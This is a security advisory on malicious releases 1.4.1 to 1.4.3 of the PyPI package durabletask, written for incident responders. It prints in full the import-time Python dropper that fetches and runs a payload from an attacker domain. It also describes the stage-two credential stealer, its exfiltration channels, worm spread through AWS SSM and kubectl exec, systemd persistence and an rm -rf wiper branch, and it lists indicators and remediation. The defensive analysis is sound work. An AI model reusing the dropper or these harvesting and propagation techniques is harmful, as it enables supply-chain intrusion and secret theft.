critical
CVE
Not assigned
CWE
CWE-506
Affected Surface
durabletask 1.4.1, durabletask 1.4.2, durabletask 1.4.3, Linux hosts importing durabletask, Azure Durable Functions Python workloads using affected releases, CI runners, developer workstations, containers, and cloud hosts with AWS, Azure, GCP, Kubernetes, Vault, Docker, SSH, npm, or PyPI credentials
On 19 May 2026, three malicious releases of the PyPI package durabletask were published in rapid succession: 1.4.1, 1.4.2, and 1.4.3. The package is Microsoft’s Python SDK for Durable Task workflows, so affected installs are most likely to appear in Azure Durable Functions projects, workflow automation, internal services, CI jobs, and cloud-native Python environments.
The incident is a package-publishing compromise, not a typosquat. The package metadata continued to point at Microsoft’s legitimate microsoft/durabletask-python repository, but the malicious versions did not correspond to normal source tags or repository changes. SafeDep’s analysis reports that the attacker uploaded locally modified artifacts directly to PyPI with a compromised API token, bypassing the GitHub release workflow.
The clean baseline is durabletask==1.4.0 and earlier. Any Linux host that installed one of the affected versions and imported the package should be treated as compromised.
Affected package versions
Confirmed malicious PyPI versions:
durabletask==1.4.1durabletask==1.4.2durabletask==1.4.3
Public analyses describe an iterative injection pattern:
1.4.1added the dropper todurabletask/__init__.py.1.4.2kept that entry point and added the same dropper todurabletask/task.py.1.4.3kept both prior entry points and added more injections underdurabletask/entities/__init__.py,durabletask/extensions/__init__.py, anddurabletask/payload/__init__.py.
That progression matters for triage. By 1.4.3, several common import paths could trigger execution before application code reached any durable workflow logic.
Import-time execution
The malicious source-level change is small. It places a Linux-only downloader at module scope, so Python executes it as soon as the module is imported:
import os
import platform
import subprocess
import urllib.request
if platform.system() == "Linux":
try:
urllib.request.urlretrieve(
"https://check.git-service.com/rope.pyz",
"/tmp/managed.pyz",
)
with open(os.devnull, "w") as f:
subprocess.Popen(
["python3", "/tmp/managed.pyz"],
stdout=f,
stderr=f,
stdin=f,
start_new_session=True,
)
except Exception:
pass
There are three important implementation details:
- The code is not an install script. It runs at import time, which means dependency-firewall controls that only block
setup.pyor package-manager lifecycle hooks will miss the execution point. start_new_session=Truedetachesrope.pyzfrom the importing Python process, allowing the payload to continue after the application, test, or function cold start exits.- The broad exception handler hides DNS, download, permission, or execution failures. A failed payload fetch still leaves the package import looking normal to the application.
The legitimate durabletask/__init__.py in Microsoft’s repository contains imports and __all__ exports only. It does not need urllib.request, subprocess, or a write to /tmp during import.
Stage two: rope.pyz
The dropper downloads rope.pyz, a Python zipapp. Multiple reports identify SHA-256 069ac1dc7f7649b76bc72a11ac700f373804bfd81dab7e561157b703999f44ce for the analyzed stage-two payload.
The payload performs anti-analysis checks before running:
- Exit unless the platform is Linux.
- Exit on Russian locale settings.
- Exit on hosts with two or fewer CPUs, which filters many lightweight sandboxes.
- Install
cryptographyif it is missing, including a--break-system-packagesfallback on system Python installs.
After those checks, the payload launches a modular credential-harvesting framework. Public analysis shows collectors for AWS, Azure, GCP, Kubernetes, HashiCorp Vault, Docker, password managers, local filesystem secrets, environment variables, package-registry tokens, SSH keys, shell history, Terraform state, VPN configs, and AI developer-tool configuration files.
Credential and secret collection
The cloud collectors are not generic file scraping. They implement provider-aware enumeration:
- AWS credentials are resolved from environment variables,
~/.aws/credentials, profiles, and IMDS. The payload enumerates Secrets Manager and SSM Parameter Store across regions and requests decrypted parameter values. - Azure tokens are resolved from client credentials, Azure CLI token cache files, certificates, and managed identity. The payload lists subscriptions, Key Vaults, and vault secrets.
- GCP credentials are resolved from service account JSON, application-default credentials, and metadata service tokens. The payload targets Secret Manager.
- Kubernetes credentials are read from kubeconfig contexts and in-cluster service account paths. The payload can list secrets across namespaces and decode secret values.
- Vault tokens are resolved from
VAULT_TOKEN,~/.vault-token, AppRole variables, and local CLI state before recursively reading KV mounts.
The filesystem collector broadens the blast radius. It targets SSH private keys, ~/.docker/config.json, .pypirc, .npmrc, kubeconfigs, cloud config directories, .env files, Terraform state, VPN client state, and MCP or AI coding-tool configuration such as Cursor, Claude Desktop, VS Code, Zed, Continue, Codeium, Kilo, and OpenCode.
This is why exposure should be scoped to the host, not just to the Python process. If an affected import happened on a CI runner or developer workstation, any readable credential on that machine is in scope.
C2, fallback, and encryption
Reported network infrastructure includes:
check[.]git-service[.]comt[.]m-kosche[.]comhxxps://check[.]git-service[.]com/rope.pyzhxxps://check[.]git-service[.]com/v1/modelshxxps://check[.]git-service[.]com/api/public/versionhxxps://t[.]m-kosche[.]com/rope.pyz
The primary domain is designed to blend into developer traffic by looking like Git tooling. SafeDep reports that the domains were provisioned with Let’s Encrypt certificates issued on 16 May 2026, three days before the malicious releases.
Collected data is compressed and encrypted before exfiltration. SafeDep describes an AES-256-GCM data envelope with the per-session key wrapped by the attacker’s RSA-4096 public key. If the primary endpoint is unreachable, the payload can resolve backup endpoints through signed GitHub commit dead drops containing the marker FIRESCALE. If C2 paths fail but stolen GitHub tokens are available, the payload can create public GitHub repositories with Slavic folklore-themed names and upload encrypted results.
Lateral movement and persistence
The durabletask payload is worm-capable once it has access to suitable cloud credentials.
AWS propagation uses SSM SendCommand with the AWS-RunShellScript document against discovered, online, non-Windows EC2 instances. The remote script downloads rope.pyz, executes it with python3, and writes a marker file to avoid immediate reinfection.
Kubernetes propagation uses kubectl exec into running pods from accessible clusters. This means a single compromised CI job with a broad kubeconfig can become a cluster-wide incident.
Reported propagation markers:
~/.cache/.sys-update-check~/.cache/.sys-update-check-k8s
The payload also contains a persistence path controlled through the /v1/models endpoint. Public analyses describe a systemd service disguised as a PostgreSQL monitor:
/usr/bin/pgmonitor.pyor~/.local/bin/pgmonitor.py/etc/systemd/system/pgsql-monitor.serviceor~/.config/systemd/user/pgsql-monitor.service- Service description:
PostgreSQL Monitor
On systems fingerprinted as Israeli or Iranian through timezone and locale checks, the same module contains a one-in-six destructive branch that attempts to play an audio file and then execute rm -rf /*. This branch appears to require attacker-side activation through the C2 response, but responders should not assume it is inert.
Indicators of compromise
Package indicators:
durabletask==1.4.1durabletask==1.4.2durabletask==1.4.3
Package artifact hashes reported by Aikido and SafeDep:
durabletask-1.4.1.tar.gzSHA-256:3de04fe2a76262743ed089efa7115f4508619838e77d60b9a1aab8b20d2cc8bfdurabletask-1.4.2.tar.gzSHA-256:85f54c089d78ebfb101454ec934c767065a342a43c9ee1beac8430cdd3b2086fdurabletask-1.4.3.tar.gzSHA-256:c0b094e46842260936d4b97ce63e4539b99a3eae48b736798c700217c52569dcrope.pyzSHA-256:069ac1dc7f7649b76bc72a11ac700f373804bfd81dab7e561157b703999f44ce
Runtime and persistence indicators:
/tmp/managed.pyz~/.cache/.sys-update-check~/.cache/.sys-update-check-k8s/usr/bin/pgmonitor.py~/.local/bin/pgmonitor.py/etc/systemd/system/pgsql-monitor.service~/.config/systemd/user/pgsql-monitor.servicePostgreSQL MonitorFIRESCALE
Network indicators:
check[.]git-service[.]comgit-service[.]comt[.]m-kosche[.]comm-kosche[.]com
Remediation
First, stop using the affected versions. Pin to a known-clean version such as durabletask==1.4.0 or a later vendor-confirmed clean release when available. Search source repositories, lockfiles, CI logs, build caches, Python virtual environments, container images, and artifact stores for durabletask==1.4.1, durabletask==1.4.2, or durabletask==1.4.3.
Second, determine whether the package was imported. Because execution happens at import time, installation alone is not the only signal. Prioritize Linux CI runners, Azure Functions hosts, containers, and developer machines where any code ran import durabletask or imported submodules from the affected versions.
If import-time execution is possible, treat the host as compromised and rotate secrets from a known-clean machine:
- AWS IAM users, access keys, sessions, and roles reachable from the host.
- Azure service principals, managed identities, and Key Vault secrets.
- GCP service accounts and Secret Manager entries.
- Kubernetes service account tokens and kubeconfigs.
- HashiCorp Vault tokens and any secrets accessible through them.
- GitHub, GitLab, npm, PyPI, Docker, and other registry tokens.
- SSH private keys, VPN credentials, database credentials, Terraform state secrets, and
.envvalues. - Password-manager vault credentials if 1Password, Bitwarden,
pass, orgopassstate was readable.
Then hunt for lateral movement:
- AWS CloudTrail:
ssm:SendCommand,ssm:DescribeInstanceInformation, Secrets Manager reads, SSM Parameter Store reads, and unusualsts:GetCallerIdentityvalidation. - Kubernetes audit logs: unexpected
pods/execevents, secrets reads across namespaces, and newkubectlactivity from build or workload identities. - GitHub audit logs: new public repositories with folklore-themed names, mass clone activity, unexpected workflow changes, and token use from new networks.
- Host telemetry: detached
python3 /tmp/managed.pyz,rope-*.pyz, systemd service creation, and outbound connections to the listed C2 domains.
For prevention, replace long-lived PyPI publish tokens with trusted publishing where available, keep package publishing secrets out of broad CI workflows, require hash-pinned Python dependencies in high-trust pipelines, and review fresh package versions before automatic promotion into CI or production. The failure mode here was not a vulnerable application endpoint; it was a trusted package artifact that executed before the application could defend itself.
References
- Aikido: durabletask package compromised
- Endor Labs: Trojanized Microsoft SDK durabletask 1.4.1 through 1.4.3
- SafeDep: Malicious durabletask on PyPI
- Bad Packages: 2026-05-compr-durabletask
- Cyber Kendra: Microsoft's durabletask hit by TeamPCP
- Microsoft durabletask-python repository
- CWE-506 Embedded Malicious Code